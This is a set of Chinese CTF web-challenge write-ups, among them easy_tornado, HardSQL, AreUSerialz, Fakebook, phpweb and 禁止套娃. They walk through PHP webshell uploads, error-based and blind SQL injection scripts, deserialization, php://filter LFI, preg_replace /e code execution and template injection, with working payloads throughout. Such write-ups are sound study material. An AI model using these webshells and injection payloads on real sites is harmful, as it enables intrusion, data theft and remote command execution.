[护网杯 2018]easy_tornado 1 进入答题页面,发现三个超链接 分别点击进去 再点击进去后url中传输了两个参数,一个是filename,另一个是filehash,在第一个flag.txt中把filename改为提示的/fllllllllllllag试试 提交后页面显示error 看来拿到flag的关键就在于解出filehash是什么,根据第三个超链接的提示,应该是filehash=md5(cookie_secret+md5(filename)),filename现已知,但cookie_secret是什么呢,而且第二个rander也没有用到,也并不清楚有什么用,只能去查一下tornado框架有什么特点了tornado框架的介绍
我们在这个文档里面可以知道cookie_secret并不像我们的cookie一样可以自己修改的(不是自己的cookie),而是包含了时间戳,HMAC签名和编码后的cookie值,所以我们自己修改cookie并不现实。 想到render会不会是cookie_secret的突破点,找一下render作用
render意为渲染;self.render(“entry.html”,entry=entry)该语句意思就是找到entry.html这个模板,用右边这个entry来实例化entry.html模板中的entry参数,从而显示在页面上。
回过头发现flag.txt那个Error的页面有一个参数msg也是等于Error 发现msg可以左右页面的输出,想到之前有些题目利用一个参数可以出来phpinfo()等,因此现在目标就是怎么利用msg这个参数来找到cookie_secret了 在文档中我们可以看到相关render渲染的作用,我们可以利用 {{}}
来把表达式传进去以获取我们想要的信息,这样我们猜想msg={{cookie的位置}}
来获得我们想要的 cookie_secret在Application对象settings的属性中,访问它的话就需要知道它的属性名字,根据查阅可知:self.application.settings有一个别名是RequestHandler.settings其中handler又是指向处理当前这个页面的RequestHandler对象 RequestHandler.settings指向self.application.settings 因此handler.settings指向RequestHandler.application.settings 将handler.setting带入msg即可知道cookie_secret,再来一步步根据MD5来计算filehash
回到hints.txt 现在已经知道了cookie_secret的值,MD5(filename)就是/fllllllllllllag的MD5的值 =3bf9f6cf685a6dd8defadabfb41a03a1 把cookie_secret和MD5(filename)加起来再进行MD5加密即可得出flag
[MRCTF2020]你传你🐎呢 1 这题是个文件上传题,按照老方法先上传一个木马1.png 内容:<?php evel($_POST['a']);?>
再上传一个.user.ini:内容为auto_prepend_file=1.png
上传之后他会给一个连接,进入/upload之后的连接,用蚁剑连接也不能成功连接,也写不了命令,那么我们只有换一种方法了。
先上传一个1.png文件 内容为:<?php eval($_POST['a']);?>
再上传一个.htaccess文件, 内容为:SetHandler application/x-httpd-php
htaccess htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误界面、改变文件拓展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能 这里htaccess内容的意思是设置当前目录所有文件都使用php解析
这里要记得把Content-Type的内容修改一下 复制/upload之后的url并进入
1 url :http://c59ecfdc-0 a3d-4 ed6-92 d7-74 b6bcc602d4.node4.buuoj.cn:81 /upload/7 a439cdf1a27a4860163c7641f0dc7fe/1 .png
此时我们可以post输入命令
1 2 a = print_r(glob("/*" ))a = highlight_file("/flag" )
以获取flag
或以当前url连接中国蚁剑,以获取flag
[ZJCTF 2019]NiZhuanSiWei 1 打开之后是一段源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { highlight_file (__FILE__ ); }?>
一共有三个参数,都需要通过GET方式传入 isset的作用是检测变量是否已设置并且非null file_get_contents的作用是将整个文件读入一个字符串 这里将text文件中读取字符串,还要和welcome to the zjctf相等 这里使用的是data://写入协议 payload:
1 ?text =data://text /plain,welcome to the zjctf
1 preg_match ("/flag/" ,$file )
正则表达式,说明file不能出现flag字符 但是源码提示了useless.php这里使用php伪协议来读取文件
1 php:// filter/read=convert.base64-encode/ resource=useless.php
payload:
1 ?text=data:// text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php:/ /filter/ read=convert.base64-encode/resource=useless.php
使用base64解码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
这里最后会echo输出file 将flag.php的值给了file,然后反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Flag { public $file ="flag.php" ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $password =new Flag ();echo serialize ($password );?>
使用php编译器phpstorm payload:
1 ?text =data://text /plain,welcome to the zjctf&file=useless.php&password =O:4 :"Flag":1 :{s:4 :"file";s:8 :"flag.php";}
方法二 用filter链漏洞来绕过,被禁用的flag 这里要用到一个工具php_filter_chain_generator 同样查看源码就能看到flag了
查看源码即可看到flag
[极客大挑战 2019]HardSQL 1 sql注入题,先试试万能密码username=1' or 1=1#
password=123 经过一系列尝试后,发现空格,=,union都被过滤了 空格被过滤我们使用()来代替空格/**/貌似也被过滤了 既然如此,尝试一下报错注入爆库 payload:username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1
爆表 payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#&password=1
爆字段 payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#&password=1
爆值 payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1
并没有成功显示flag,只显示了一半~ 经过查询知道了right()可以查询后面的部分 payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#&password=1
和前面显示出的flag拼接删改得到完整的flag
[MRCTF2020]Ez_bypass 1 直接给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 include 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } }else { die ('Please input first' ); } } Please input first
发现第五个if可以获得flag 先第一个ifif(isset($_GET['gg'])&&isset($_GET['id']))
isset检查是否有效,随便输一个字符就能通过 第二个ifif (md5($id) === md5($gg) && $id !== $gg)
绕过这个if要先想到MD5漏洞,我先想到的是0e开头的漏洞 ps:md5 值是 0e 开头,在 php 弱类型比较中判断为相等 再看回来,弱比较是==,而本题中是===强比较,所以不能用这个绕过 在查阅后发现还有一种方法——数组绕过a[]=a&b[]=b
虽然会报错,但判断为真,判断为null===null 而且id!=gg payload:?gg[]=gg&id[]=id
You got the first steponly one way to get the flag
得到了我们需要的结果you got the first step 但多出来一句 only one way to get the flag 查看源代码发现是这一句是第三个if的else语句,说明第三个if并未绕过,if(isset($_POST['passwd']))
同样随便post一个字符就能绕过
再看第四个ifif (!is_numeric($passwd))
is_numeric()函数是检测是否为数字字符,是则ture 这里为!is_numeric(),就是不能全为数字字符 同时我们看向第五个ifif($passwd==1234567)
与第四个if相反,要同时满足两个if条件才能获得flag 先试着把1234567转化为16进制 passwd=12D687 提交后只绕过了第四个if,不行 百度一下发现 passwd:1234567%00 passwd:1234567%20 成功得到flag
[HCTF 2018]admin 进入页面,先查看源代码,发现源代码里有注释you are not admin flag应该在admin中,看到右边有register和login,先随便注册一个看看什么效果 登录进去发现多了几个选项
挨个查看源代码 发现在change password中的源代码与其他不同,显示了一个github网址,进入查看网页竟然不存在,那就换一种方法,register注册一个admin,显示已被注册,那么我们试试直接login admin,密码随意,竟然成功了 成功显示flag,后续会跟进其他方法
[SUCTF 2019]CheckIn 先上传一个.user.ini 内容为auto_prepend_file=12.txt 上传失败,显示exif_imagetype:not image!,没有图像,那么我们使用文件幻术头绕过 再次上传,成功 再上传一个常用的木马文件 上传错误,显示<? in contents! 屏蔽了一些符号导致无法上传 换种方法上传 这次成功上传 进入给出的地址 先输入a=phpinfo()试试能不能运行命令 有回显,成功执行 继续post a=system(“cat /flag”) 成功显示flag
[GXYCTF2019]BabyUpload 上传.htaccess(以jpg形式抓包修改后缀名) 上传一个木马
1 <?php eval ($_POST ['a' ]);?>
失败,过滤了<? 换一种方式
1 <script language ='php' > eval ($_POST['a' ]);</script >
上传成功,蚁剑连接以找到flag
[GXYCTF2019]BabySQli 首先在靶机页面里他给了个github网址,进入在web/babysqli/html/search.php里找到重要源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 mysqli_query($con ,'SET NAMES UTF8' );$name = $_POST ['name' ];$password = $_POST ['pw' ];$t_pw = md5($password );$sql = "select * from user where username = '" .$name ."'" ;// echo $sql ;$result = mysqli_query($con , $sql );if (preg_match("/\(|\)|\=|or/" , $name )){ die("do not hack me!" ); }else { if (!$result ) { printf("Error: %s\n" , mysqli_error($con )); exit (); } else { // echo '<pre>' ; $arr = mysqli_fetch_row($result ); // print_r($arr ); if ($arr [1 ] == "admin" ){ if (md5($password ) == $arr [2 ]){ echo $flag ; } else { die("wrong pass!" ); } } else { die("wrong user!" ); } } }
输入万能钥匙1’ or 1=1#显示do not hack me 与上面对应,限制了or
抓包 这里显示wrong user! 挨个试试1,2,3的位置,把它们改为’admin’,在2位置时回显发生了改变 wrong pass! 跳过了user,那么3的位置就是password了 注意到上面的代码if中有MD5,使if成立 设密码为abc,MD5加密后为:900150983cd24fb0d6963f7d28e17f72
[GYCTF2020]Blacklist 输入 1';show tables;#
根据字面意思,flag应该在FlagHere里 输入 1';cat FlagHere
没有显示
联合注入 输入 1';select from FlagHere;#
显示了被过滤掉的内容
尝试双写绕过1';sselectelect from FlagHere
不通过
尝试大小写绕过1';sElECt from FlagHere;#
同样不通过
handler语法 1 2 3 4 handler 语句,一行一行的浏览一个表中的数据。handler 语句并不具备select 语句中的所有功能。 mysql专用的语句,并没有包含到sql 标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表
HANDLER tbl_name OPEN 打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ FIRST 获取句柄的第一行,通过READ NEXT依次获取其它行,ui后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE 关闭打开的句柄
HANDLER tbl_name READ index_name=value 通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。
输入
1 1 ';handler FlagHere open ;handler FlagHere read first;handler FlagHere close
成功
[网鼎杯 2020 青龙组]AreUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:
两个防护
is_valid() 要求我们传入的str的每个字母的ascli值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。
destruct()魔术方法 op===”2”,是强比较
1 2 3 4 5 6 function __destruct() { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); }
而在process()函数中,op==”2”是弱比较
1 2 3 4 5 6 7 8 9 10 11 public function process() { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } }
所以可以使传入的op为数字2,从而使第一个强比较返回false,而使第二个弱比较返回true
本地进行序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class FileHandler { public $op = 2 ; public $filename = "flag.php" ; public $content = "1" ; } $a = new FileHandler ();$b = serialize ($a );echo $b ; ?>
序列化结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
查看源码找到flag
也可以使用伪协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class FileHandler { public $op = 2 ; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; public $content = "2" ; } $a = new FileHandler ();$b = serialize ($a );echo $b ; ?>
使用过base64解码得到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World All You Want Is In Table ‘flag’ and the column is ‘flag’ 确定表和字段
随便输入 查询1,2会有回显,其它的会显示错误 id=1 Hello, glzjin wants a girlfriend. id=2 Do you want to be my girlfriend? 输入if(true,1,2) 返回Hello, glzjin wants a girlfriend. 输入if(false,1,2) 返回Do you want to be my girlfriend?
可以用这种方法判断flag的值 写一个脚本(要用到time.sleep,以防出现429错误,这个脚本有个小问题就是它不能匹配-
,所以要在空缺的地方把-
补好,在我的机器中time.sleep()最好的设置为0.1-0.4,因为到了后面仍然不会显示-
)429错误 :表示客户端发送的请求过多,超出了服务器的处理能力或限制。 它是一种反应速率限制的状态码,用于告知客户端暂时无法处理请求。 在实际应用中,当收到429状态码时,客户端应该采取措施减少请求频率或优化代码,以降低服务器的负载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests import times =requests.session() flag = '' for i in range(1,60): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}' : url ="http://becd3bf4-4a7a-41db-af52-6bc45f25b20e.node4.buuoj.cn:81/index.php" sqls ="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)" .format(i,j) #print (i) #print (sqls) data={"id" :sqls} c = s.post(url,data =data) #print (c.text) time.sleep(1.0) if 'Hello' in c.text: flag += j print (i) print (flag) breakprint (flag)
[网鼎杯 2018]Fakebook 看到注册首先想到了存储型xss,一顿x返回的PHPSESSID并没有什么用 正常注册blog就填www.baidu.com
把 自动跳转到下一个页面后,可以发现username是一个超链接 点击进入
1 http ://c5d58095-7 b7c-4 cad-b014-237 ca4cccdcf.node4.buuoj.cn:81 /view.php?no=1
疑似SQL注入 过滤了union select,用union all select绕过 payload:
1 ?no =-1 union all select 1 ,data,3 ,4 from users
username列返回O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}
属于是被序列化了,那应该还有我们应该知道的源代码没有找到 dirsearch扫一扫 扫出这么几个能用的文件
1 2 3 4 5 6 /db.php /error.php /flag.php /login.php /robots.txt /view.php
进入/robots.txt找到/user.php.bak 下载 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );class UserInfo { public $name = "admin" ; public $age = 12 ; public $blog = "/var/www/html/flag.php" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
需要了解的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function get($url ) { $ch = curl_init();// 初始化一个cURL会话 curl_setopt($ch , CURLOPT_URL, $url );// 为给定的cURL会话句柄设置一个选项 curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch );// 执行给定的cURL会话 $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE);// 获取一个cURL连接资源句柄的信息 if ($httpCode == 404 ) { return 404 ; } curl_close($ch ); return $output ; }
curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。 curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
如果状态码不是404,就返回exec的结果。 get函数在getBlogContents()里被调用,传参为blog 给参数赋个值,反序列化看看flag.php
1 2 3 4 5 $a =new UserInfo();$a ->name ='admin' ;$a ->age =12;$a ->blog ="file:///var/www/html/flag.php" ; echo serialize($a );
payload
1 ?no=-1 union all select 1 ,2 ,3 ,'O :8 :"UserInfo" :3 :{s:4 :"name" ;s:5 :"admin" ;s:3 :"age" ;i:12 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;}'
查看源代码 base64解码就可得到flag了
[网鼎杯 2020 朱雀组]phpweb 页面一直在刷新,抓个包先 POST检查前面是函数,后面是参数 这里eval(system(‘ls’))用不了了,应该是被过滤了 应该是用了call_user_func()函数,用file_get_contents看一下源代码
1 func =file_get_contents&p=index.php
找到php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
过滤了很多函数,用反序列化试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Test { var $p = "ls" ; var $func = "system" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } }$a =new Test ();echo serialize ($a );?>
payload
1 2 3 4 5 func = unserialize&p =O:4 :"Test" :2 :{ s:1 :"p" ; s:2 :"ls" ; s:4 :"func" ; s:6 :"system" ; } func = unserialize&p =O:4 :"Test" :2 :{ s:1 :"p" ; s:4 :"ls /" ; s:4 :"func" ; s:6 :"system" ; }
flag应该是藏到了更隐蔽的位置
用find命令全局查找 payload:
1 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:18 :"find / -name flag*" ;s:4 :"func" ;s:6 :"system" ;}
/tmp/flagoefiu4r93是flag的正确位置 payload:
1 2 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:22 :"cat /tmp/flagoefiu4r93" ;s:4 :"func" ;s:6 :"system" ;}// flag{d9827631-f2f1-407 b-9 ee9-5 fc84da1246a}
用readfile也可以 payload:
1 2 3 4 5 func =readfile&p=/tmp/flagoefiu4r93or func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:18 :"/tmp/flagoefiu4r93" ;s:4 :"func" ;s:8 :"readfile" ;}
[BSidesCF 2020]Had a bad day 源代码没有透漏出什么有用的信息 随便进入一个选项 看了看url栏,?category=woofers,应该存在sql注入 报错信息提取到include,和加了.php后缀 include的话我们使用伪协议 payload:
1 ?category=php:// filter/convert.base64-encode/ resource=index
返回一大串base64编码解码后查看源码 源码中夹杂了php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file = $_GET ['category' ]; if (isset ($file )) { if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
if(true||false||false)
返回的结果是true,也就是满足一个条件成立即可,我们现在要读取的是flag.php 使用相对路径 相对路径计算时中间目录不存在并不影响
1 2 ?category=php:// filter/convert.base64-encode/ resource=woofers/../ flag// PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZWE3NTMyYTktYTRjYS00MDA0LWIzOTEtZDAzZmY4Nzc3YmM0fQo/Pgo=
解码后就能得到flag了
还可以利用php://filter伪协议可以套一层协议读取flag.php payload:
1 ?category=php:// filter/convert.base64-encode/i ndex/resource=flag
套一个字符index符合条件并且传入flag,读取flag.php 可以发现当php定位不到我们自己加的filter时会报warning 但并没有影响执行
[BJDCTF2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); }else { highlight_file (__FILE__ ); }?>
第一个if用data伪协议通过,flag被禁用了,那么读读注释里next.php 里的内容 payload:
1 ?text=data:// text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php:/ /filter/ convert.base64-encode/resource=next .php
next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); }foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; }function getFlag ( ) { @eval ($_GET ['cmd' ]); }
preg_replace的/e模式存在命令执行漏洞,不知道这个$_SESSION[‘id’]是什么鬼传送门 非常详细 先来搞定这两个
1 2 3 4 5 6 7 8 9 10 11 12 function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); }foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; }
payload:
成功显示我们需要显示的内容 需要传入$cmd参数,然后eval执行拿到flag getFlag没有被调用 调用一下
1 ?\S*=${getFlag()} &cmd =phpinfo();
成功,开始rce
1 ?\S *=${ getFlag()}&cmd=system('cat /flag' );
[GXYCTF2019]禁止套娃 开始页面未找到可利用信息,抓包也什么没有发现 用dirsearch搜搜 出现了很多.git后缀的文件,确定为git源码泄露 使用githack扫一扫 扫出了网站的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } }?>
开始代码审计 这一题有很多的过滤 第二个if过滤让php伪协议data协议都不能用了 第二个if
1 if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL, $_GET['exp' ]) )
[a-z,_]+ : [a-z,_]
匹配小写字母和下划线 +表示1到多个
(?R)?
(?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/)
,所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
如果传进去的值是字符串接一个(),那么字符串就会被替换为空,如果(递归)替换后的字符串只剩下;
,那么我们传进去的exp就会被eval执行。比如我们传入一个phpinfo();
,他被替换后就剩下;
,那么更具条件就会执行phpinfo();
而(?R)?能匹配的只有a(b()); a(b(c()));
这种类型的,比如传入a(b(c()));
,第一次匹配后,就剩a(b())
,第二次匹配后,a();
,第三次匹配后就剩下;
了,最后a(b(c()))
就会被eval执行。
这题的思路到这就很明确了,使用无参RCE 下面是无参RCE的常用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 getchwd () :函数返回当前工作目录。scandir () :函数返回指定目录中的文件和目录的数组。dirname () :函数返回路径中的目录部分。chdir () :函数改变当前的目录。readfile () :输出一个文件。current () :返回数组中的当前单元, 默认取第一个值。pos () :current () 的别名。next () :函数将内部指针指向数组中的下一个元素,并输出。end () :将内部指针指向数组中的最后一个元素,并输出。array_rand () :函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。array_flip () :array_flip () 函数用于反转/交换数组中所有的键名以及它们关联的键值。array_slice () :函数在数组中根据条件取出一段值,并返回。array_reverse () :函数返回翻转顺序的数组。chr () 函数从指定的:ASCII 值返回字符。hex2bin () :— 转换十六进制字符串为二进制字符串。getenv () :获取一个环境变量的值(在7.1 之后可以不给予参数)。localeconv () :函数返回一包含本地数字及货币格式信息的数组。
payload:
1 ?exp=print_r(scandir (pos (localeconv () )));
代码解释: 想要浏览目录内的所有文件需要用到函数scandir()
。当scandir()
传入.
,它就可以列出当前目录的所有文件。 但这里是无参数的RCE,我们不能写scandir(.)
,而localeconv()
却会有一个返回值,那个返回值正好就是.
,再配合pos
或current()
就可以把.
取出来传给scandir()
查看所有文件了。
现在知道了flag的位置,flag为倒数第二个,我们可以使用翻转函数array_reverse()
,再用一个next就可以查看flag文件了,查看flag文件可用函数为highlight_file(),readfile(),show_source()
等等。。。 payload:
1 2 ?exp =readfile(next (array_reverse(scandir(pos (localeconv())))));// $flag = "flag{c4305172-c8af-4fa8-af1f-504d83d83583}" ;
虽然本题的flag位置不是那么特殊,但总会遇到特殊位置flag的题,可以用array_rand()
和array_flip()
(array_rand()
返回的是键名所以必须搭配array_flip()
来交换键名、键值来获得键值,随机刷新显示的内容) payload:
1 ?exp=show_source(array_rand (array_flip (scandir (pos (localeconv () )))));
方法二:session_id() 上面的正则过滤中并没有过滤session,所以我们可以用session_id来获取flagsession_id()
可以用来获取/设置当前会话id。 php是默认不主动使用session的 在我们使用session_id()的时候 需要使用session_start()
来开启session会话 PHPSESSID本身是可以直接加上例如flag.php这类的字符的 payload:
1 2 3 ?exp =show_source(session_id(session_start())); COOKIE:PHPSESSID =flag.php
无参RCE传送门 写的非常好,收获颇丰🤤
[BJDCTF2020]The mystery of ip 启动环境 flag.txt hint.php中查看源码的注释作者也说了Do you know why i know your ip? 结合题目与作者的hint,猜测本题x-forwarded-for处有问题 burpsuite抓抓 成功执行,说明XFF可控 控制XFF进行命令执行(这是要在前端有IP相关回显的情况) 查阅资料 Flask可能存在Jinjia2模版注入漏洞 PHP可能存在Twig模版注入漏洞 试试能否执行模板算式
成功执行,尝试是否能执行命令
1 x-forwarded-for: {{system ('ls' )}}
无脑RCE模板注入检测
